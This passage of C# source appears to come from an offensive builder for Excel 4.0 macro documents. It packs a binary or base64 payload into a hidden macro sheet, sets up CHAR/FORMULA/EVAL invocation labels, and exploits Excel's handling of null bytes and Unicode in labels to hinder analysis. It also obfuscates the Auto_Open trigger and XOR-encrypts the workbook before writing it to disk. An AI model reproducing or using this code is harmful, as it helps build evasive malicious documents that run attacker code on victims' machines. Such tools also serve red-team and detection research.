(binary64Payload != null && binary64Payload.Length > 0) { if (payloadMethod == PayloadPackingMethod.Base64) { wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod); } else { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); } curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } if (payloadMethod == PayloadPackingMethod.Base64) { macros = MacroPatterns.GetBase64DecodePattern(preambleCode); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); // Initialize the Global Stream records like SupBook + ExternSheet wbe.InitializeGlobalStreamLabels(); if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); //Abuse a few comparison "features" in Excel //1. Null bytes are ignored at the beginning and start of a label. //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325) //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod); } else if (method == SheetPackingMethod.ArgumentSubroutines) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; ushort formInvocationRw = 0xefff; ushort formInvocationCol = 0x9e; ushort evalFormInvocationRw = 0xefff; ushort evalFormInvocationCol = 0x9d; //Lbl1 wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false); //Lbl2 wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false); //Lbl3 wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true); //Lbl4 wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true); //Lbl5 wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true); //Lbl6 wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false); //Lbl7 wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true); List <Formula> charFunctionFormulas = FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3, UnicodeHelper.CharFuncArgument1Label); foreach (var f in charFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes( formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label, UnicodeHelper.FormulaFuncArgument2Label, 4, 5); foreach (var f in formulaFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } List <Formula> formulaEvalFunctionFormulas = FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes( evalFormInvocationRw, evalFormInvocationCol, UnicodeHelper.FormulaEvalArgument1Label, 7); foreach (var f in formulaEvalFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } } wbe.AddLabel(localizedLabel, rwStart, colStart); if (!noLabelObfuscation) { wbe.ObfuscateAutoOpen(localizedLabel); } WorkbookStream createdWorkbook = wbe.WbStream; if (!string.IsNullOrEmpty(password)) { Console.WriteLine("Encrypting Document with Password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password); } ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, createdWorkbook, vbaInfo); }